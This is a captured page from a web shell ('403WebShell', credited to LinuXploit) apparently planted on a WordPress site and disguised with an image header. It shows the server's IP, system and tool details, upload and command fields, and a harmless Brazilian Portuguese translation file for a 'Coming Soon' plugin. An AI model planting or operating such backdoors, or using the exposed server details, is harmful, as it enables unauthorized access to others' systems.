????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.136.17.118
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.eu/wp-content/plugins/coming-soon/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.eu/wp-content/plugins/coming-soon/languages/coming-soon-pt_BR.po
msgid ""
msgstr ""
"Project-Id-Version: Coming Soon Pro by SeedProd\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2015-01-27 21:24-0500\n"
"PO-Revision-Date: 2015-02-17 17:55-0300\n"
"Last-Translator: Mauro Mascarenhas <mauro.mascarenhas@nintersoft.ml>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __\n"
"X-Poedit-Basepath: ../\n"
"X-Generator: Poedit 1.7.1\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"Language: pt_BR\n"
"X-Poedit-SearchPath-0: .\n"

#: coming-soon.php:22 framework/framework.php:116 framework/framework.php:117
#: inc/config-settings.php:22
msgid "Coming Soon"
msgstr "Em breve"

#: framework/field-types/date.php:8 framework/field-types/daterange.php:8
msgid "01-Jan"
msgstr "01-Jan"

#: framework/field-types/date.php:9 framework/field-types/daterange.php:9
msgid "02-Feb"
msgstr "02-Fev"

#: framework/field-types/date.php:10 framework/field-types/daterange.php:10
msgid "03-Mar"
msgstr "03-Mar"

#: framework/field-types/date.php:11 framework/field-types/daterange.php:11
msgid "04-Apr"
msgstr "04-Abr"

#: framework/field-types/date.php:12 framework/field-types/daterange.php:12
msgid "05-May"
msgstr "05-Mai"

#: framework/field-types/date.php:13 framework/field-types/daterange.php:13
msgid "06-Jun"
msgstr "06-Jun"

#: framework/field-types/date.php:14 framework/field-types/daterange.php:14
msgid "07-Jul"
msgstr "07-Jul"

#: framework/field-types/date.php:15 framework/field-types/daterange.php:15
msgid "08-Aug"
msgstr "08-Ago"

#: framework/field-types/date.php:16 framework/field-types/daterange.php:16
msgid "09-Sep"
msgstr "09-Set"

#: framework/field-types/date.php:17 framework/field-types/daterange.php:17
msgid "10-Oct"
msgstr "10-Out"

#: framework/field-types/date.php:18 framework/field-types/daterange.php:18
msgid "11-Nov"
msgstr "11-Nov"

#: framework/field-types/date.php:19 framework/field-types/daterange.php:19
msgid "12-Dec"
msgstr "12-Dez"

#: framework/field-types/date.php:29 framework/field-types/daterange.php:29
#: framework/field-types/daterange.php:42
msgid "day"
msgstr "dia"

#: framework/field-types/date.php:32 framework/field-types/daterange.php:32
#: framework/field-types/daterange.php:45
msgid "year"
msgstr "ano"

#: framework/field-types/upload.php:12
msgid "Media Image Library"
msgstr "Biblioteca de mídia de imagens"

#: framework/framework.php:77
msgid "Settings reset."
msgstr "Redefini configurações."

#: framework/framework.php:177
msgid "&larr; Close Window"
msgstr "&larr; Fechar janela"

#: framework/framework.php:177
msgid "Live Preview"
msgstr "Visualização"

#: framework/framework.php:179
msgid "Upgrade to the Pro Version"
msgstr "Atualizar para a versão Pro"

#: framework/validations/color.php:13
msgid "Please enter a valid color value."
msgstr "Por favor digite um valor válido de cor."

#: framework/validations/email.php:10 framework/validations/escurlraw.php:11
msgid "Please enter a valid email."
msgstr "Por favor digite um e-mail válido."

#: framework/validations/number.php:11
msgid "Please enter a valid number."
msgstr "Por favor digite um número válido."

#: framework/validations/required.php:10
msgid "is required."
msgstr "é necessário."

#: inc/class-seed-csp4.php:80
msgid "Coming Soon Mode Active"
msgstr "Modo \"Em breve\" ativo"

#: inc/class-seed-csp4.php:82
msgid "Maintenance Mode Active"
msgstr "Modo de manutenção ativo"

#: inc/class-seed-csp4.php:144
msgid "Please enter your settings."
msgstr "Por favor digite suas configurações."

#: inc/config-settings.php:33 inc/config-settings.php:249
msgid "Content"
msgstr "Conteúdo"

#: inc/config-settings.php:44
msgid "General"
msgstr "Geral"

#: inc/config-settings.php:50
msgid "Status"
msgstr "Estado"

#: inc/config-settings.php:52
msgid "Disabled"
msgstr "Desativado"

#: inc/config-settings.php:53
msgid "Enable Coming Soon Mode"
msgstr "Ativar modo \"Em breve\""

#: inc/config-settings.php:54
msgid "Enable Maintenance Mode"
msgstr "Ativar modo de manutenção"

#: inc/config-settings.php:56
msgid ""
"When you are logged in you'll see your normal website. Logged out visitors "
"will see the Coming Soon or Maintenance page. Coming Soon Mode will be "
"available to search engines if your site is not private. Maintenance Mode "
"will notify search engines that the site is unavailable."
msgstr ""
"Quando você estiver conectado você verá o site normalmente. Visitantes "
"desconectados verão a página de manutenção ao \"Em breve\". O modo \"Em breve"
"\" estará disponível nos mecanismos de pesquisas se seu site não for "
"privado. O modo de manutenção notificará os mecanismos de busca que seu site "
"está indisponível."

#: inc/config-settings.php:66
msgid "Use maintenance.php"
msgstr "Usar mainternance.php"

#: inc/config-settings.php:67
msgid ""
"maintenance.php detected, would you like to use this for your maintenance "
"page?"
msgstr ""
"mainternance.php detectado, você gostaria de usá-la para sua página de "
"manutenção?"

#: inc/config-settings.php:69 inc/config-settings.php:197
#: inc/config-settings.php:265
msgid "Yes"
msgstr "Sim"

#: inc/config-settings.php:79
msgid "Page Settings"
msgstr "Configurações de página"

#: inc/config-settings.php:85
msgid "Logo"
msgstr "Logotipo"

#: inc/config-settings.php:86
msgid "Upload a logo or teaser image (or) enter the url to your image."
msgstr ""
"Carregue um logotipo ou uma imagem chamativa ou ainda a URL para a sua "
"imagem."

#: inc/config-settings.php:93
msgid "Headline"
msgstr "Linha de título"

#: inc/config-settings.php:94
msgid "Enter a headline for your page."
msgstr "Digite uma linha de cabeçalho para sua página."

#: inc/config-settings.php:100
msgid "Message"
msgstr "Mensagem"

#: inc/config-settings.php:101
msgid "Tell the visitor what to expect from your site."
msgstr "Avise ao visitante o que esperar de seu site."

#: inc/config-settings.php:107
msgid "Powered By SeedProd"
msgstr "Feito com SeedProd"

#: inc/config-settings.php:108
msgid "Nope - Got No Love"
msgstr "Não - Eu não gostei"

#: inc/config-settings.php:108
msgid "Yep - I Love You Man"
msgstr "Sim - Eu amo cara"

#: inc/config-settings.php:109
msgid ""
"Can we show a <strong>cool stylish</strong> footer credit at the bottom the "
"page."
msgstr ""
"Podemos mostrar um crédito de rodapé <strong>estiloso</strong> em sua página?"

#: inc/config-settings.php:118
msgid "Header"
msgstr "Cabeçalho"

#: inc/config-settings.php:124
msgid "Favicon"
msgstr "Favicon"

#: inc/config-settings.php:125
msgid ""
"Favicons are displayed in a browser tab. Need Help <a href=\"http://tools."
"dynamicdrive.com/favicon/\" target=\"_blank\">creating a favicon</a>?"
msgstr ""
"Os favicons são mostrados na aba do navegador. Necessita de ajuda ao <a href="
"\"http://tools.dynamicdrive.com/favicon/\" target=\"_blank\">criar um "
"favicon</a>?"

#: inc/config-settings.php:131
msgid "SEO Title"
msgstr "Título do SEO"

#: inc/config-settings.php:137
msgid "SEO Meta Description"
msgstr "Descrição Meta SEO"

#: inc/config-settings.php:146
msgid "Analytics Code"
msgstr "Código do Analytics"

#: inc/config-settings.php:147
msgid ""
"Paste in your Universal or Classic <a href=\"http://www.google.com/analytics/"
"\" target=\"_blank\">Google Analytics</a> code."
msgstr ""
"Cole em seu Universal ou Clássico código <a href=\"http://www.google.com/"
"analytics/\" target=\"_blank\">Google Analytics</a>."

#: inc/config-settings.php:157
msgid "Design"
msgstr "Design"

#: inc/config-settings.php:170
msgid "Background"
msgstr "Plano de fundo"

#: inc/config-settings.php:177
msgid "Background Color"
msgstr "Cor do plano de fundo"

#: inc/config-settings.php:180
msgid ""
"Choose between having a solid color background or uploading an image. By "
"default images will cover the entire background."
msgstr ""
"Escolha entre ter uma cor de plano de fundo sólida ou carregar uma imagem. "
"Por padrão as imagens cobrirão todo o plano de fundo."

#: inc/config-settings.php:188
msgid "Background Image"
msgstr "Imagem de plano de fundo"

#: inc/config-settings.php:194
msgid "Responsive Background"
msgstr "Plano de fundo responsivo"

#: inc/config-settings.php:195
msgid ""
"Scale the background image to be as large as possible so that the background "
"area is completely covered by the background image. Some parts of the "
"background image may not be in view within the background positioning area."
msgstr ""
"Ajustar a imagem de plano de fundo para ser o mais largo possível, então a "
"área de plano de fundo será coberta completamente pela imagem de plano de "
"fundo. Algumas partes da imagem de plano de fundo pode não estar em visão "
"com a área de posicionamento do plano de fundo."

#: inc/config-settings.php:205 inc/config-settings.php:219
#: inc/config-settings.php:237
msgid "This setting is not applied if Responsive Background is checked"
msgstr ""
"Esta configuração não está aplicada se o plano de fundo responsivo estiver "
"ativado"

#: inc/config-settings.php:206
msgid "Background Repeat"
msgstr "Repetição de plano de fundo"

#: inc/config-settings.php:208
msgid "No-Repeat"
msgstr "Não repetir"

#: inc/config-settings.php:209
msgid "Tile"
msgstr "Título"

#: inc/config-settings.php:210
msgid "Tile Horizontally"
msgstr "Título horizontalmente"

#: inc/config-settings.php:211
msgid "Tile Vertically"
msgstr "Título Verticalmente"

#: inc/config-settings.php:220
msgid "Background Position"
msgstr "Posição de plano de fundo"

#: inc/config-settings.php:222
msgid "Left Top"
msgstr "Esquerda superior"

#: inc/config-settings.php:223
msgid "Left Center"
msgstr "Esquerda central"

#: inc/config-settings.php:224
msgid "Left Bottom"
msgstr "Esquerda inferior"

#: inc/config-settings.php:225
msgid "Right Top"
msgstr "Direita superior"

#: inc/config-settings.php:226
msgid "Right Center"
msgstr "Direita central"

#: inc/config-settings.php:227
msgid "Right Bottom"
msgstr "Direita inferior"

#: inc/config-settings.php:228
msgid "Center Top"
msgstr "Centro superior"

#: inc/config-settings.php:229
msgid "Center Center"
msgstr "Centro central"

#: inc/config-settings.php:230
msgid "Center Bottom"
msgstr "Centro inferior"

#: inc/config-settings.php:238
msgid "Background Attachment"
msgstr "Anexo de plano de fundo"

#: inc/config-settings.php:240
msgid "Fixed"
msgstr "Fixado"

#: inc/config-settings.php:241
msgid "Scroll"
msgstr "Deslizar"

#: inc/config-settings.php:256
msgid "Max Width"
msgstr "Largura máxima"

#: inc/config-settings.php:257
msgid ""
"By default the max width of the content is set to 600px. Enter a number "
"value if you need it bigger. Example: 900"
msgstr ""
"Por padrão a largura máxima do conteúdo é definido 600px. Digite um valor "
"numérico se você necessita disto maior. Exemplo: 900"

#: inc/config-settings.php:262
msgid "Enable Well"
msgstr "Ativar roda"

#: inc/config-settings.php:263
msgid "This will wrap your content in a box."
msgstr "Isto irá ajustar seu conteúdo em uma caixa."

#: inc/config-settings.php:275
msgid "Text"
msgstr "Texto"

#: inc/config-settings.php:281
msgid "Text Color"
msgstr "Cor do texto"

#: inc/config-settings.php:289
msgid "Link Color"
msgstr "Cor do enlace"

#: inc/config-settings.php:297
msgid "Headline Color"
msgstr "Cor do título do cabeçalho"

#: inc/config-settings.php:300
msgid "If no Headline Color is chosen then the Link Color will be used. "
msgstr ""
"Se não houver cor escolhida para a linha de cabeçalho então a cor de enlaces "
"será usada. "

#: inc/config-settings.php:308
msgid "Text Font"
msgstr "Fonte do texto"

#: inc/config-settings.php:329
msgid "Template"
msgstr "Modelo"

#: inc/config-settings.php:337
msgid "Custom CSS"
msgstr "CSS personalizado"

#: inc/config-settings.php:338
msgid "Need to tweaks the styles? Add your custom CSS here."
msgstr ""
"Necessita de truques para os estilos? Adicione um CSS personalizado aqui."

#: inc/config-settings.php:347
msgid "Advanced"
msgstr "Avançado"

#: inc/config-settings.php:360
msgid "Scripts"
msgstr "Scripts"

#: inc/config-settings.php:366
msgid "Header Scripts"
msgstr "Scripts do cabeçalho"

#: inc/config-settings.php:367
msgid ""
"Enter any custom scripts. You can enter Javascript or CSS. This will be "
"rendered before the closing head tag."
msgstr ""
"Digite qualquer script personalizado. Você pode digitar JavaScript ou CSS. "
"Isto será renderizado antes de fechar a tag cabeçalho."

#: inc/config-settings.php:374
msgid "Footer Scripts"
msgstr "Scripts do rodapé"

#: inc/config-settings.php:375
msgid ""
"Enter any custom scripts. This will be rendered before the closing body tag."
msgstr ""
"Digite qualquer script personalizado. Você pode digitar JavaScript ou CSS. "
"Isto será renderizado antes de fechar a tag corpo."

Youez - 2016 - github.com/yon3zu
LinuXploit